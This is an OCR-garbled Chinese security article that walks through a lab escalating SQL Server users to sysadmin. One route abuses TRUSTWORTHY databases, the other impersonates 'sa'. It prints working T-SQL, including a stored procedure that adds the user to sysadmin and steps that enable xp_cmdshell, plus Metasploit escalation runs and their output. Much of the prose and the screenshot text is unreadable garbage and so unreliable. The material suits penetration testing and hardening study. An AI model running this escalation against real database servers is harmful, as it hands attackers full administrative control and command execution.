%IRSQL Server A\DBOF 121 ZEIDBARIFFH A

FoifEiRuG EALF7SSHREA
2020-08-28J8FX

K B A B EBN R 70 U,

23165647, T B S K655 8,

el

J

i}

A B 7 A0S T O R A, R T A RE . £ IE K R
» WRIZEN T sqliEAN AL, WRE E O A A, w2 AT R B
M dbo R, #ikdt— LR, w R setiE Bt , #ullE

7 5 = . LA SQL
Server B, MW ERZ XFEZENHdbaft N, HLIFJHxp _cmdshel

158, ETEANRESMERRNR. ki, B4 0 Hdbo R
Eanfr AL . TRKEA T HEATERE A KB ANITK N R E A
W o, oW g % 2 % MW % # & M/ db
owner# &M Bl sysadmin, AN DA 2K E T TG 88 E U LR
VFH P M.

1.ERNE

a5} + SQL
Server MMEETF KR ENREAY, WE ol E88EFEERTFHP
e, ST LLdboiR M B dba. WHBEMKKCVER S, Mg L
HE—2r@EHE. mBEELE P ER T, Ag—ik.

o T = ¥ b i3 ( Trustworthy
Databases) : #iMicrosoftfgHl, — P HIBEEZHRAARE


javascript:void(0);
https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247486672&idx=1&sn=f4b34b32c676236c3ac76f98e978eae6&chksm=9b392a61ac4ea377dcce53116e3ddfcc6b86f6f8eafee11bf986d1683590824d5f33d71a1578&scene=27#wechat_redirect&cpage=53

S HE E R, 2/ B LE NS SRR RUK 7 8R FEALIR .
TRUSTWORTHY #t # FE & " M T 48 ¥ SQL Server
LW e BT ZEEEL R MAE. BRIANER T, &N
0FF . i £
sysadminfifa A (tllsa) MR A RESKE. W HAsysa
dmin f € % 03 W B 7O A WS B E . % S B E M db
owner g i B F H X MK A Bl sysadmin.

e F i %A ( User
Impersonation) : AW A 7 TR, L MNNHET K HE
PE U514 B B R, JF RN LA T OB LR B C IMPERSONATE
privilege) , ¥ 7 A7 H P Al UL B H - BIBRR .

2. iR iR
e Windows Server 2008 R2 x64
e SQL Server 2014

e Kali Linux 2020.2(VMware)

HARITE TIRAG®RIESR A I HlLocalSystenBUIR B AT M55 .

3. a)(SEURRE

3. 1B A AE IR K it B

T IFSQL Server Management Studio, &Hxsaf |



¥ Bicrosoft SQL Server Management Studio =
M) HRIEE) ME TEM BOod #Eho

A S @ Drmam meh | 4 @B - - S5 E] e ]
R\ﬁ%ﬁiﬁf‘é‘.@% -1 F'EEEIE Fr
EHE- A 3 m T (2] 5 -

Microsoft SQL Server 2014

HRgsERzem () [imEa e =l
RRS2EH (5): W TH—FOaRGERLAS \ SOLEXPRESS

SHIYEIE (A): ISQL Server S{HLEIT LI
s L) Isa LI
EEE): I***************

W iE{EER m

EEC) | s | Em | RO »

mar CWrEAm” , MEMIEESLN “TestDb” .
CREATE DATABASE TestDb;

BN H P TestUsers

CREATE LOGIN TestUser WITH PASSWORD = 'PasswOrd';

W FRITSQLIEA), ¥ IEFETestDbdb owner R T4 H T
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USE TestDb
ALTER LOGIN [TestUser] with default_database = [TestDb];
CREATE USER [TestUser] FROM LOGIN [TestUser];

EXEC sp_addrolemember [db_owner], [TestUser];
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ALTER DATABASE TestDb SET TRUSTWORTHY ON
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SELECT a.name,b.is_trustworthy on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b

ON a.name=b.name;

SQLOueryl. sql — . TestDb [(za (54))% 3¢

- SELECT a.name, b. iz_trustworthy_on =5
FEOM mazter..zvadatabazesz az a =
INNER JOIN zvz.dstsbazez as b
O a.name=h. name ;|

=
00% ~ 4 |
O &% | wa|
name iz_trustworthy on

1 mastar a

2 tempdb 0

3 model a

4 m=db 1

g ReportServer JSLEXFRESS ]

B ReportServer fSQLEYFRESSTemplE O

T Testlb 1
(D EHE2HHIT - WIN-HQ9NGUERLES\SQLEXFEESS ... |=a (540 |TestDb |00:00:00 |T 7

3. 2% TH A H it 72

i TestUser H J 8 3 204 2 .



g_;&flicrosoft S5QL Server Management Studio

WiFE) IEE WA TR dOo  FEEhon
iG-S dd | aFEEa® EmG s B9 -e-2-88]

HRRFEEE

; M ¥ RS E
- % % e 755

Microsoft SQL Server 2014
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EXEC sp_configure 'show advanced options','1l' --ffifftshow

advances options HY{Hi A1

RECONFIGURE

GO

EXEC sp_configure 'xp_cmdshell',1 --JFExp_cmdshell
RECONFIGURE

GO
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SELECT is_srvrolemember('sysadmin')



Sty = - Gt G0 <

SELECT isz_srvrolemember ( syzadmin’ +
00% ~ 4 I
4R | e

F5lE)
1 o
(D TiHERAIHAT - WIN-HQONGUERLASSULEXFEESS . | TestlUser (520 |TestDb |00:00:00 |1 47

@A FEsp elevate me.

USE TestDb

GO

CREATE PROCEDURE sp_elevate_me

WITH EXECUTE AS OWNER

AS

EXEC sp_addsrvrolemember 'TestUser', 'sysadmin’
GO
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USE TestDb

EXEC sp_elevate me
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use auxiliary/admin/mssql/mssql_escalate_dbowner
SET RHOSTS 192.168.234.130

SET USERNAME TestUser

SET PASSWORD Passwe@rd

run

msf5 auxiliary( ) > run
Running module against 192.168.234.130

192.168.234.130:1433
192.168.234.130:1433
192.168.234.130:1433
192.168.234.130:1433
192.168.234.130:1433
192.168.234.130:1433
192.168.234.130:1433
192.168.234.130:1433

Attempting to connect to the database server at 192.168.234.130:1433 as TestUser ...
Connected.
Checking if TestUser has the sysadmin role...
You're NOT a sysadmin, let's try to change that
Checking for trusted databases owned by sysadmins ...
1 affected database(s) were found:
- TestDb
Checking if the user has the db_owner role in any of them...
192.168.234.130:1433 - db_owner on TestDb found!
192.168.234.130:1433 - Attempting to escalate in TestDb!
192.168.234.130:1433 - TestDb
192.168.234.130:1433 - Congrats, TestUser is now a sysadmin!.
Auxiliary module execution completed
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CREATE LOGIN MyUserl WITH PASSWORD

"MyPassword!';

"MyPassword!"';

CREATE LOGIN MyUser2 WITH PASSWORD

CREATE LOGIN MyUser3 WITH PASSWORD

"MyPassword!';

"MyPassword!"';

CREATE LOGIN MyUser4 WITH PASSWORD
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CREATE LOGIN MylUserZ WITH PASSWORD = ~MyFasswordl™ :
CREATE LOGIN MylUser3 WITH PASSWORD = " MyFassword!™
CREATE LOGIN MyUszerd WITH PASSWORD = °MyPaszsword!” ||
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USE master;

GRANT IMPERSONATE ON LOGIN::sa to [MyUserl];

GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUserl];

GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUseri];

GO



=ITUSE master

GRANT IMPERSONATE ON LOGIN:

GRANT IMPERSONATE ON LOGIN
GRANT IMPERSONATE ON LOGIN
GO

:za to [MyU=erl]
::MylUzer2 to [MyUserl]:
s :MyUzer3 to [MyUserl]
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SELECT distinct b.name

FROM sys.server_permissions a

INNER JOIN sys.server_principals b

ON a.grantor_principal_id =

WHERE a.permission_name =

b.principal id

'IMPERSONATE"
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FISELECT distinct b. name

FROM =v=.

sFerver_ permlss10ns a
INNEE JOIN =v=.server_principals b
ON a. grantor_principal_id = b.principal_id
WHERE =. permiszion _name = °~ INPERSONATE®
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SELECT SYSTEM_USER

SELECT IS_SRVROLEMEMBER('sysadmin')

EXECUTE AS LOGIN = 'sa'

SELECT SYSTEM_USER

SELECT IS_SRVROLEMEMBER('sysadmin')

. MyUserl (53) |master 00:00:00 |3 57
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FISELECT SYSTEM_USER |
SELECT IS_SEVREOLEMEMEER (" syzadmin’ )

EXECUTE AS LOGIN = " =2’

SELECT SYSTEM_USER
SELECT IS_SEVROLEMEMEER (" sy=zadmin’ )
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use auxiliary/admin/mssql/mssql_escalate_execute_as
set RHOSTS 192.168.234.130

set USERNAME MyUserl

set PASSWORD MyPassword!

run



msf5 auxiliary( )} > run
Running module against 192.168.234.130

192.168.234.130:1433 - Attempting to connect to the database server at 192.168.234.13@:1433 as MyUserl...

192.168.234.130:1433 - Connected.

192.168.234.130:1433 - Checking if MyUserl has the sysadmin role...
192.168.234.130:1433 You're NOT a sysadmin, let's try to change that.
192.168.234.130:1433 Enumerating a list of users that can be impersonated ...
192.168.234.130:1433 3 users can be impersonated:
192.168.234.130:1433 - sa

192.168.234.130:1433 - MyUser2

192.168.234.130:1433 - MyUser3

192.168.234.130:1433 - Checking if any of them are sysadmins ...
192.168.234.130:1433 - sa is a sysadmin!

192.168.234.130:1433 - Attempting to impersonate sa...
192.168.234.130:1433 - Congrats, MyUserl is now a sysadmin!.

Auxiliary module execution completed
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Guidelines for using the TRUSTWORTHY database setting in SQL

Server

Extending Database Impersonation by Using EXECUTE AS



MEE THB

PEIMARE, FPXRESE, SFERAFR

KIETHIDXE B SEPA

BItES

il

AFREAR TS



